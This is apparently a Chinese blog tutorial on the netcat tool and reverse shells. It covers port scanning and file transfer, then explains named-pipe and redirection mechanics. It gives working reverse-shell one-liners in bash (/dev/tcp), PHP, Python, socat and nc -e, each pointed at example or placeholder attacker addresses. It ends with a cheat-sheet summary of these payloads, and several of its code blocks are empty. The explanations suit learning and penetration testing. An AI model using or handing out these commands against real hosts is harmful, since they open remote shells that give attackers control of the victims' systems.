前言
现在每天都在跟shell打交道,但是一直没有机会好好的了解一下,因此今天总结一下。
0x01 linux nc命令与反弹shell
linux中nc命令是一个功能强大的网络工具,全称是netcat。
nc/netcat(选项)(参数)
选项
1 | -g<网关>:设置路由器跃程通信网关,最多设置8个; |
参数:
1 | 主机:指定主机的IP地址或主机名称; |
TCP端口扫描
1 | # nc -v -z -w2 192.168.0.3 1-100 |
UDP端口扫描
1 | ## UDP端口扫描 |
使用netcat实现局域网聊天
1 | 一端先启好监听: |
使用netcat实现文件传输
和局域网聊天的原理是一样的,不过是把输入输出重定向到文件接收入端先启好监听:
1 | nc -l 8080 > recv.txt |
发送端进行发送:
1 | nc xxx.xxx.xxx.xxx 8080 < send.txt |
不过传输完之后不会自动断开连接得手动ctrl+c断开,而且转输完成并没有什么标志不知是否已传完。
0x01 什么是反弹shell?
下面我们先来理解一下反弹shell。一般情况下从本地控制远程的一台机器可以通过远程登陆(比如ssh/telnet)从本地向远程的机器主动建立连接进行控制,就是说本地是client,远程被控机是server。反弹shell(也叫reverse shell)就是把方向反过来,从远程被控主机向本地建立连接,及远程被控机是client,本地是server。
建立反弹shell
建立本地server
使用nc
在本地建立server进行网络连接监听,本例子监听在8080端口上。
$ nc -lvp 8080
建立远程client
方法一:在远程被控机上用nc建立client进行连接。
1. mkfifo pipe
创建有名管道,有名管道可以通过文件的方式开放管道的两端,一端可以写另一端读取写入的内容。
2. cat pipe
读取有名管道中的内容,读取的内容通过管道|
写入bash
。
3. bash -i 2>&1
建立交互式shell,并把标准错误合并到标准输出,然后通过管道|
发给nc
客户端。
4. nc 8080 >pipe
向server发起连接,并把从server端接收到的内容写入pipe
,注意,这些写到pipe
的内容又被上面步骤的2
读出来写给shell。
感觉有点绕,我们在来回顾一下。
前面的那一串命令建立了一个连接,该连接通过nc
与server端进行连接,server端的输入会被发送到client端的nc
并写入pipe
,之后被cat
读出来发给shell执行。shell的执行输出通过nc
发给server。连接的图示如下:
方法2:在远程机上用建立连接。
前面的方法1中不太简洁的地方是用了cat
,那么我们可以简化一下:
建立方法的命令如下:
1 | mkfifo /tmp/f |
方法3:
了解了上面的方法后不禁想问Client端的数据流反转是否可行?当然可以!还是看图说话。
建立连接方法如下:
1 | mkfifo pipe |
其他话题
1. 啥是FIFO?
“FIFO”是Linux操作系统上面一种特殊的进程间通讯的手段,类似管道“PIPE”,相同之处:
都是进程间通讯的手段,可用于传递消息
都是“半双工单向”数据流模式
但不同之处在于:
“PIPE”创建的管道存在于父/子进程之间,通常是fork()出来的父子进程间使用。
“FIFO”有名管道顾名思义是有名字的,名字就是文件系统中创建出来的问题件,这样就可以支持不同的进程之间使用这个管道进行通信了。
想知道的更详细些可以阅读经典的《UNIX环境高级编程》。
2. 思考一下下面的两个命令有什么不同?
nc <Server IP> 8888 < /tmp/f | bash -i 2>&1 > /tmp/f
nc <Server IP> 8888 < /tmp/f | bash -i > /tmp/f 2>&1
不同之处是2>&1 > /tmp/f
和> /tmp/f 2>&1
。
> /tmp/f 2>&1
可以正确将标准输出与标准错误合并后导入/tmp/f
,而2>&1 > /tmp/f
最终只把标准输出导入了/tmp/f
,标准错误还是没有,那么是为什么呢?
先分析一下正常> /tmp/f 2>&1
的执行过程。
先解析> /tmp/f
的时候进程会把标准输出1
定向到FIFO文件/tmp/f
再解析2>&1
的时候,进程的标准错误2
定向到了标准输出1
对应的目标,由于此时1
指向了/tmp/f
,那么自然标准错误2
也被定向到了这个FIFO文件。
再分析一下异常2>&1 > /tmp/f
的执行过程。
首先2>&1
在执行的时候是把进程的标准错误2
定向到了标准输出1
对应的目标,这个目标此时是进程执行的终端
。
当解析到> /tmp/f
的时候进程会把标准输出1
定向到FIFO文件/tmp/f
,而此时标准错误2
还是指向前一步中定向的终端
,因此造成了执行的问题。
通常的bash一句话
1 | bash -i >& /dev/tcp/192.168.220.153/8080 0>&1 |
bash反弹一句话的拆分
命令 | 命令详解 |
---|---|
bash -i | 产生一个bash交互环境 |
>& | 将联合符号前面的内容与后面相结合然后一起重定向给后者 |
/dev/tcp/192.168.220.153/8080 | linux环境中所有的内容都是以文件的形式存在的,其实这个就是让主机与目标主机192.168.220.153:8080 端口建立一个TCP连接 |
0>&1 | 将标准的输入 与标准输出 内容相结合,然后重定向给前面标准的输出 内容。 |
bash产生了一个交互环境与本地主机主动发起与目标主机8080端口建立的连接(即TCP 8080 会话连接)相结合,然后在重定向个tcp 8080会话连接,最后将用户键盘输入与用户标准输出相结合再次重定向给一个标准的输出,即得到一个bash 反弹环境。
php脚本反弹:
1 | php -r '$sock=fsockopen("192.168.118.138",8888);exec("/bin/sh -i <&3 >&3 2>&3");' |
socat反弹一句话
Socat是Linux 下一个多功能的网络工具,名字来由是” Socket CAT”,因此可以看出它基于socket,能够折腾socket相关的无数事情 ,其功能与netcat类似,不过据说可以看做netcat的加强版,事实上的确也是如此,nc应急比较久没人维护了,确实显得有些陈旧了,我这里只简单的介绍下怎么使用它开启监听和反弹shell,其他详细内容可以参加见文末的参考学习。
有关socat二进制可执行文件,大家可以到这个链接下载:https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat
kali中
1 | socat tcp-listen:8080 - |
另一台靶机运行socat反弹shell
1 | socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:192.168.220.153:8080 |
python脚本反弹
1 | python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.118.138",8080));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' |
0x03 proc_open双管道,多线程执行命令
采用cli的方式运行PHP脚本
STDIN:读取脚本的输入字符
1 |
|
从命令行输入字符,能看到打印对应的字符;其中fread会阻塞进程。
PHP开启一个子进程
index.php
1 |
|
proc.php
1 |
|
运行index.php,提示请输入,当输入字符之后,index将输入的打印出来,等待3秒之后,proc又将收到的字符返回给index,由index再次打印出来。效果如下:
1 | root@kali:~/php_file# php index.php |
proc_open($file,$descriptorspec,$pipes)
开启一个子进程。
$file:子进程要打开的脚本
$descriptorspec: 输入输出读取的配置文件,数组
1 |
|
反弹shell命令总结
bash版本:
1 | bash -i >& /dev/tcp/<attackerIP>/[port] 0>&1 |
注意这个是由解析shell的bash完成,所以某些情况下不支持
python版本:
1 | python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' |
php版本:
1 | php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");' |
nc版本:
1 | nc -e /bin/sh 10.0.0.1 1234 |